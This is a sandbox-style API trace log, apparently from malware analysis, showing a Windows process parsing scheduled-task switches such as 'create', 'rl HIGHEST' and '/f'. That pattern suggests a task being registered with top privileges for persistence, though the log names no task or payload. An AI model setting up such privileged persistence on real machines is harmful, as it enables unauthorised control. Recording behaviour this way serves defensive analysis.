_memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.698] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|create|") returned 8 [0091.698] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.698] lstrlenW (lpString="|create|") returned 8 [0091.698] lstrlenW (lpString="|rl|") returned 4 [0091.698] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0091.698] SetLastError (dwErrCode=0x490) [0091.698] lstrlenW (lpString="?") returned 1 [0091.698] lstrlenW (lpString="?") returned 1 [0091.698] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.698] lstrlenW (lpString="rl") returned 2 [0091.698] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.698] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|?|") returned 3 [0091.698] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.698] lstrlenW (lpString="|?|") returned 3 [0091.698] lstrlenW (lpString="|rl|") returned 4 [0091.698] SetLastError (dwErrCode=0x490) [0091.698] lstrlenW (lpString="s") returned 1 [0091.698] lstrlenW (lpString="s") returned 1 [0091.698] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.698] lstrlenW (lpString="rl") returned 2 [0091.698] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.698] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|s|") returned 3 [0091.698] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.698] lstrlenW (lpString="|s|") returned 3 [0091.698] lstrlenW (lpString="|rl|") returned 4 [0091.698] SetLastError (dwErrCode=0x490) [0091.698] lstrlenW (lpString="u") returned 1 [0091.699] lstrlenW (lpString="u") returned 1 [0091.699] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.699] lstrlenW (lpString="rl") returned 2 [0091.699] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.699] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|u|") returned 3 [0091.699] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.699] lstrlenW (lpString="|u|") returned 3 [0091.699] lstrlenW (lpString="|rl|") returned 4 [0091.699] SetLastError (dwErrCode=0x490) [0091.699] lstrlenW (lpString="p") returned 1 [0091.699] lstrlenW (lpString="p") returned 1 [0091.699] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.699] lstrlenW (lpString="rl") returned 2 [0091.699] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.699] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|p|") returned 3 [0091.699] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.699] lstrlenW (lpString="|p|") returned 3 [0091.699] lstrlenW (lpString="|rl|") returned 4 [0091.699] SetLastError (dwErrCode=0x490) [0091.699] lstrlenW (lpString="ru") returned 2 [0091.699] lstrlenW (lpString="ru") returned 2 [0091.699] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.699] lstrlenW (lpString="rl") returned 2 [0091.699] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.699] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ru|") returned 4 [0091.699] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.699] lstrlenW (lpString="|ru|") returned 4 [0091.699] lstrlenW (lpString="|rl|") returned 4 [0091.699] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0091.699] SetLastError (dwErrCode=0x490) [0091.699] lstrlenW (lpString="rp") returned 2 [0091.700] lstrlenW (lpString="rp") returned 2 [0091.700] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.700] lstrlenW (lpString="rl") returned 2 [0091.700] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.700] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rp|") returned 4 [0091.700] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.700] lstrlenW (lpString="|rp|") returned 4 [0091.700] lstrlenW (lpString="|rl|") returned 4 [0091.700] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0091.700] SetLastError (dwErrCode=0x490) [0091.700] lstrlenW (lpString="sc") returned 2 [0091.700] lstrlenW (lpString="sc") returned 2 [0091.700] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.700] lstrlenW (lpString="rl") returned 2 [0091.700] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.700] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.700] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.700] lstrlenW (lpString="|sc|") returned 4 [0091.700] lstrlenW (lpString="|rl|") returned 4 [0091.700] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0091.700] SetLastError (dwErrCode=0x490) [0091.700] lstrlenW (lpString="mo") returned 2 [0091.700] lstrlenW (lpString="mo") returned 2 [0091.700] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.700] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.700] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.700] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.700] lstrlenW (lpString="|mo|") returned 4 [0091.701] lstrlenW (lpString="|rl|") returned 4 [0091.701] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0091.701] SetLastError (dwErrCode=0x490) [0091.701] lstrlenW (lpString="d") returned 1 [0091.701] lstrlenW (lpString="d") returned 1 [0091.701] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.701] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.701] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|d|") returned 3 [0091.701] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.701] lstrlenW (lpString="|d|") returned 3 [0091.701] lstrlenW (lpString="|rl|") returned 4 [0091.701] SetLastError (dwErrCode=0x490) [0091.701] lstrlenW (lpString="m") returned 1 [0091.701] lstrlenW (lpString="m") returned 1 [0091.701] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.701] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.701] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|m|") returned 3 [0091.701] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.701] lstrlenW (lpString="|m|") returned 3 [0091.701] lstrlenW (lpString="|rl|") returned 4 [0091.701] SetLastError (dwErrCode=0x490) [0091.701] lstrlenW (lpString="i") returned 1 [0091.701] lstrlenW (lpString="i") returned 1 [0091.701] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.701] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.701] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|i|") returned 3 [0091.701] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.701] lstrlenW (lpString="|i|") returned 3 [0091.701] lstrlenW (lpString="|rl|") returned 4 [0091.701] SetLastError (dwErrCode=0x490) [0091.701] lstrlenW (lpString="tn") returned 2 [0091.701] lstrlenW (lpString="tn") returned 2 [0091.701] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.702] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.702] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.702] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.702] lstrlenW (lpString="|tn|") returned 4 [0091.702] lstrlenW (lpString="|rl|") returned 4 [0091.702] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0091.702] SetLastError (dwErrCode=0x490) [0091.702] lstrlenW (lpString="tr") returned 2 [0091.702] lstrlenW (lpString="tr") returned 2 [0091.702] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.702] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.702] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.702] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.702] lstrlenW (lpString="|tr|") returned 4 [0091.702] lstrlenW (lpString="|rl|") returned 4 [0091.702] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0091.702] SetLastError (dwErrCode=0x490) [0091.702] lstrlenW (lpString="st") returned 2 [0091.702] lstrlenW (lpString="st") returned 2 [0091.702] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.702] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.702] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|st|") returned 4 [0091.702] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.702] lstrlenW (lpString="|st|") returned 4 [0091.702] lstrlenW (lpString="|rl|") returned 4 [0091.702] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0091.702] SetLastError (dwErrCode=0x490) [0091.702] lstrlenW (lpString="sd") returned 2 [0091.702] lstrlenW (lpString="sd") returned 2 [0091.702] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.702] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.703] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sd|") returned 4 [0091.703] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.703] lstrlenW (lpString="|sd|") returned 4 [0091.703] lstrlenW (lpString="|rl|") returned 4 [0091.703] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0091.703] SetLastError (dwErrCode=0x490) [0091.703] lstrlenW (lpString="ed") returned 2 [0091.703] lstrlenW (lpString="ed") returned 2 [0091.703] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.703] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.703] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ed|") returned 4 [0091.703] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.703] lstrlenW (lpString="|ed|") returned 4 [0091.703] lstrlenW (lpString="|rl|") returned 4 [0091.703] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0091.703] SetLastError (dwErrCode=0x490) [0091.703] lstrlenW (lpString="it") returned 2 [0091.703] lstrlenW (lpString="it") returned 2 [0091.703] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.703] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.703] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|it|") returned 4 [0091.703] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.703] lstrlenW (lpString="|it|") returned 4 [0091.703] lstrlenW (lpString="|rl|") returned 4 [0091.703] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0091.703] SetLastError (dwErrCode=0x490) [0091.703] lstrlenW (lpString="et") returned 2 [0091.703] lstrlenW (lpString="et") returned 2 [0091.703] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.703] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.703] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|et|") returned 4 [0091.703] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.704] lstrlenW (lpString="|et|") returned 4 [0091.704] lstrlenW (lpString="|rl|") returned 4 [0091.704] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0091.704] SetLastError (dwErrCode=0x490) [0091.704] lstrlenW (lpString="k") returned 1 [0091.704] lstrlenW (lpString="k") returned 1 [0091.704] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.704] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.704] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|k|") returned 3 [0091.704] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.704] lstrlenW (lpString="|k|") returned 3 [0091.704] lstrlenW (lpString="|rl|") returned 4 [0091.704] SetLastError (dwErrCode=0x490) [0091.704] lstrlenW (lpString="du") returned 2 [0091.704] lstrlenW (lpString="du") returned 2 [0091.704] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.704] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.704] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|du|") returned 4 [0091.704] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.704] lstrlenW (lpString="|du|") returned 4 [0091.704] lstrlenW (lpString="|rl|") returned 4 [0091.704] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0091.704] SetLastError (dwErrCode=0x490) [0091.704] lstrlenW (lpString="ri") returned 2 [0091.704] lstrlenW (lpString="ri") returned 2 [0091.704] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.704] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.704] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ri|") returned 4 [0091.704] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.704] lstrlenW (lpString="|ri|") returned 4 [0091.705] lstrlenW (lpString="|rl|") returned 4 [0091.705] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0091.705] SetLastError (dwErrCode=0x490) [0091.705] lstrlenW (lpString="z") returned 1 [0091.705] lstrlenW (lpString="z") returned 1 [0091.705] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.705] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.705] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|z|") returned 3 [0091.705] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.705] lstrlenW (lpString="|z|") returned 3 [0091.705] lstrlenW (lpString="|rl|") returned 4 [0091.705] SetLastError (dwErrCode=0x490) [0091.705] lstrlenW (lpString="f") returned 1 [0091.705] lstrlenW (lpString="f") returned 1 [0091.705] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.705] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.705] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.705] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.705] lstrlenW (lpString="|f|") returned 3 [0091.705] lstrlenW (lpString="|rl|") returned 4 [0091.705] SetLastError (dwErrCode=0x490) [0091.705] lstrlenW (lpString="v1") returned 2 [0091.705] lstrlenW (lpString="v1") returned 2 [0091.705] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.705] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.705] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|v1|") returned 4 [0091.705] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.705] lstrlenW (lpString="|v1|") returned 4 [0091.705] lstrlenW (lpString="|rl|") returned 4 [0091.705] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0091.705] SetLastError (dwErrCode=0x490) [0091.705] lstrlenW (lpString="xml") returned 3 [0091.706] lstrlenW (lpString="xml") returned 3 [0091.706] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.706] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.706] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|xml|") returned 5 [0091.706] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.706] lstrlenW (lpString="|xml|") returned 5 [0091.706] lstrlenW (lpString="|rl|") returned 4 [0091.706] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0091.706] SetLastError (dwErrCode=0x490) [0091.706] lstrlenW (lpString="ec") returned 2 [0091.706] lstrlenW (lpString="ec") returned 2 [0091.706] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.706] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.706] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ec|") returned 4 [0091.706] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.706] lstrlenW (lpString="|ec|") returned 4 [0091.706] lstrlenW (lpString="|rl|") returned 4 [0091.706] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0091.706] SetLastError (dwErrCode=0x490) [0091.706] lstrlenW (lpString="rl") returned 2 [0091.706] lstrlenW (lpString="rl") returned 2 [0091.706] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.706] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.706] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.706] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rl|") returned 4 [0091.706] lstrlenW (lpString="|rl|") returned 4 [0091.706] lstrlenW (lpString="|rl|") returned 4 [0091.706] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0091.706] SetLastError (dwErrCode=0x0) [0091.706] SetLastError (dwErrCode=0x0) [0091.707] lstrlenW (lpString="HIGHEST") returned 7 [0091.707] lstrlenW (lpString="-/") returned 2 [0091.707] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0091.707] SetLastError (dwErrCode=0x490) [0091.707] SetLastError (dwErrCode=0x490) [0091.707] SetLastError (dwErrCode=0x0) [0091.707] lstrlenW (lpString="HIGHEST") returned 7 [0091.707] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0091.707] SetLastError (dwErrCode=0x490) [0091.707] SetLastError (dwErrCode=0x0) [0091.707] _memicmp (_Buf1=0x2ed660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.707] lstrlenW (lpString="HIGHEST") returned 7 [0091.707] lstrlenW (lpString="HIGHEST") returned 7 [0091.707] lstrlenW (lpString=" \x09") returned 2 [0091.707] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0091.707] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0091.707] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0091.707] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0091.707] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0091.707] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0091.707] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0091.707] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0091.707] GetLastError () returned 0x0 [0091.707] lstrlenW (lpString="HIGHEST") returned 7 [0091.707] lstrlenW (lpString="HIGHEST") returned 7 [0091.707] SetLastError (dwErrCode=0x0) [0091.707] SetLastError (dwErrCode=0x0) [0091.707] lstrlenW (lpString="/f") returned 2 [0091.707] lstrlenW (lpString="-/") returned 2 [0091.707] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.707] lstrlenW (lpString="create") returned 6 [0091.707] lstrlenW (lpString="create") returned 6 [0091.707] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.707] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.708] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|create|") returned 8 [0091.708] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.708] lstrlenW (lpString="|create|") returned 8 [0091.708] lstrlenW (lpString="|f|") returned 3 [0091.708] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0091.708] SetLastError (dwErrCode=0x490) [0091.708] lstrlenW (lpString="?") returned 1 [0091.708] lstrlenW (lpString="?") returned 1 [0091.708] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.708] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.708] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|?|") returned 3 [0091.708] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.708] lstrlenW (lpString="|?|") returned 3 [0091.708] lstrlenW (lpString="|f|") returned 3 [0091.708] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0091.708] SetLastError (dwErrCode=0x490) [0091.708] lstrlenW (lpString="s") returned 1 [0091.708] lstrlenW (lpString="s") returned 1 [0091.708] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.708] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.708] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|s|") returned 3 [0091.708] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.708] lstrlenW (lpString="|s|") returned 3 [0091.708] lstrlenW (lpString="|f|") returned 3 [0091.708] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0091.708] SetLastError (dwErrCode=0x490) [0091.708] lstrlenW (lpString="u") returned 1 [0091.708] lstrlenW (lpString="u") returned 1 [0091.708] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.708] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.708] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|u|") returned 3 [0091.709] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.709] lstrlenW (lpString="|u|") returned 3 [0091.709] lstrlenW (lpString="|f|") returned 3 [0091.709] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0091.709] SetLastError (dwErrCode=0x490) [0091.709] lstrlenW (lpString="p") returned 1 [0091.709] lstrlenW (lpString="p") returned 1 [0091.709] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.709] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.709] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|p|") returned 3 [0091.709] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|f|") returned 3 [0091.709] lstrlenW (lpString="|p|") returned 3 [0091.709] lstrlenW (lpString="|f|") returned 3 [0091.709] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0091.709] SetLastError (dwErrCode=0x490) [0091.709] lstrlenW (lpString="ru") returned 2 [0091.709] lstrlenW (lpString="ru") returned 2 [0091.709] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.709] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 